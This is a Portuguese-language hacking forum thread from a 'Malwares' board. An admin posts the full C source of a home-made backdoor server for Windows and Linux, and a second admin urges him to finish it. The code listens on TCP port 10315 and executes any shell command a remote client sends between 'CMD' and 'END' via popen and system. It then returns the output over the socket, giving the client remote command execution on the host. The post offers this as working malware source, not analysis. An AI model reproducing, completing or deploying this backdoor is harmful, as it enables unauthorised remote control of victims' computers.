[source] fts backdoor server 60%

Postagem de conteúdo sobre malwares (trojan, keylogger, virus, backdoor)
Post Reply
User avatar
Kodo no Kami
Admin
Admin
Posts: 685
Joined: Fri Jan 02, 2015 1:56 pm
Contact:

[source] fts backdoor server 60%

Post by Kodo no Kami » Thu Apr 09, 2015 4:33 pm

Image

uma backdoor que eu estava fazendo para passar o tempo, por enquanto so tem o comando CMD * END (* = comando), HELP e EXIT, como eu nao terminei (e nem sei se vou)  o servidor ta ainda no modo verbose e bem visivel kkkkkk

github

Code: Select all

/**
	coder: hfts315
	name: fts backdoor servidor
	plataforma: windows(x32) / linux
	versao: 0.1 Alpha (incompleto)
**/

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <sys/stat.h>
#ifdef WIN32
	#include <windows.h>
	#include <winsock2.h>
	#include <dirent.h>
#else
	#include <unistd.h>
	#include <sys/types.h>
	#include <sys/socket.h>
	#include <netdb.h>
	#include <arpa/inet.h>
	#include <netinet/in.h>
	#include <sys/dir.h>
#endif

#define PORTA_PADRAO 10315
#define VERSAO_CODIGO "0.1 Alpha"

//prototipo
void fts_iniciarWSA(void);
void fts_closeSocket(int socket);

//função principal
int main(int argc, char **argv, char **argp)
{
	//variaveis e estruturas
	int sock, sock2, tam, porta = PORTA_PADRAO,
		verbose = 1, verbose_ipcliente = 1, cmd2_checagem = 0, cmd_terminal =0;
	char *sockopt_valor, dados[2], cmd[1024] = "", cmd2[1020] = "", ip_cliente[20],
		help[] = 	"\r\n\nEND - novo comando\r\nHELP - mostra os comandos de ajuda\r\nCMD * END - executa um comando do terminal (* - comando)\r\n"
					"EXIT - desconecta do servidor\r\n\n>",
		termi_enviar[3] = " \0";
	FILE *termi;
	struct sockaddr_in local, remoto;
	struct hostent *host;
	
	//socket
	fts_iniciarWSA();
	sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,sockopt_valor,sizeof(sockopt_valor));
	
	//configuração do servidor
	local.sin_family = AF_INET;
	local.sin_addr.s_addr = INADDR_ANY;
	local.sin_port = htons(porta);
	
	//configura a conexao
	bind(sock,(struct sockaddr *)&local,sizeof(local));
	listen(sock,1);
	
	//espera a conexao
	while(1){
	verbose_ipcliente = 1;
	while(sock2 = accept(sock,(struct sockaddr *)&remoto,&tam))
	{
		send(sock2,"\r\n> ",3,0);
		while(1)
		{
			//verbose
			if(verbose == 1 && verbose_ipcliente == 1)
			{
				printf("CLIENTE CONECTO: %s\n",inet_ntoa(remoto.sin_addr));
				verbose_ipcliente = 0;
			}
			//quando receber fluxo
			if(recv(sock2,dados,1,0))
			{
				dados[1] = 0x0;
				strcat(cmd,dados);
				
				//checagem tamanho do buffer
				if((strlen(cmd) >= 1020))
				{
					send(sock2,"\n\ncomando muito extenso\r\n\n>",27,0);
					//verbose
					if(verbose == 1)
					{
						printf("comando muito extenso\n");
					}
				}
				
				//comando CMD
				if(!strcmp(cmd,"CMD "))
				{
					//verbose
					if(verbose == 1)
					{
						printf("CMD ");
					}
					cmd2_checagem = 1;
				}
				
				//comando HELP
				else if(!strcmp(cmd,"HELP "))
				{
					strcpy(cmd,"");
					send(sock2,help,strlen(help),0);
					//verbose
					if(verbose == 1)
					{
						printf("HELP\n");
					}					
				}
				
				//comando EXIT
				else if(!strcmp(cmd,"EXIT "))
				{
					//verbose
					if(verbose == 1)
					{
						printf("CLIENTE DESCONECTO: %s\n",inet_ntoa(remoto.sin_addr));
					}
					verbose_ipcliente = 1;
				    strcpy(cmd,"");
					fts_closeSocket(sock2);
					break;
				}
				
				//captura apenas o sub-comando
				if(cmd2_checagem == 1)
				{
					strcat(cmd2,dados);
					cmd_terminal = 1;
				}
				
				//comando END
				if(cmd[strlen(cmd)-3] == 'E' && cmd[strlen(cmd)-2] == 'N' && cmd[strlen(cmd)-1] == 'D')
				{
					//executa terminal
					if(cmd_terminal == 1)
					{
						cmd_terminal = 0;
						cmd2_checagem = 0;
						cmd2[strlen(cmd2) - 2] = 0x0;
						cmd2[strlen(cmd2) - 1] = 0x0;
						cmd2[strlen(cmd2) - 0] = 0x0;
						termi = popen(cmd2,"r");
						while(termi_enviar[0] = fgetc(termi))
						{
							send(sock2,termi_enviar,1,0);
						}
						system(cmd2);
						strcpy(cmd2,"");
						pclose(termi);
					}
				    send(sock2,"\r\n>",3,0);
					strcpy(cmd,"");
					//verbose
					if(verbose == 1)
					{
						printf("END\n");
					}
				}
			}
		}
	}}
	//fecha a conexao
	fts_closeSocket(sock);
	return 0;
}

//função para iniciar o serviço WSA do windows
void fts_iniciarWSA(void)
{
#ifdef WIN32
	WSADATA servico;
	DWORD versao = MAKEWORD(2,0);
	WSAStartup(versao,&servico);
#endif
}

//função para fechar o socket
void fts_closeSocket(int socket)
{
#ifdef WIN32
	closesocket(socket);
#else
	close(socket);
#endif
}
Image

Conheça o sistema e manipule ele, se limite ao sistema e seja manipulado por ele ~kodo no kami

meu perfil yahoo

User avatar
51M0N
Admin
Admin
Posts: 867
Joined: Fri Jan 02, 2015 2:06 pm

Re: [source] fts backdoor server 60%

Post by 51M0N » Thu Apr 09, 2015 4:46 pm

muito bom mano, termina o codigo ..eehehhe
"Você, eu, nem ninguém vai bater tão duro como a vida. Mas não se trata de bater duro. Se trata de quanto você aguenta apanhar e seguir em frente (...). É assim que se consegue vencer." by Rocky Balboa

Post Reply

Return to “Malwares”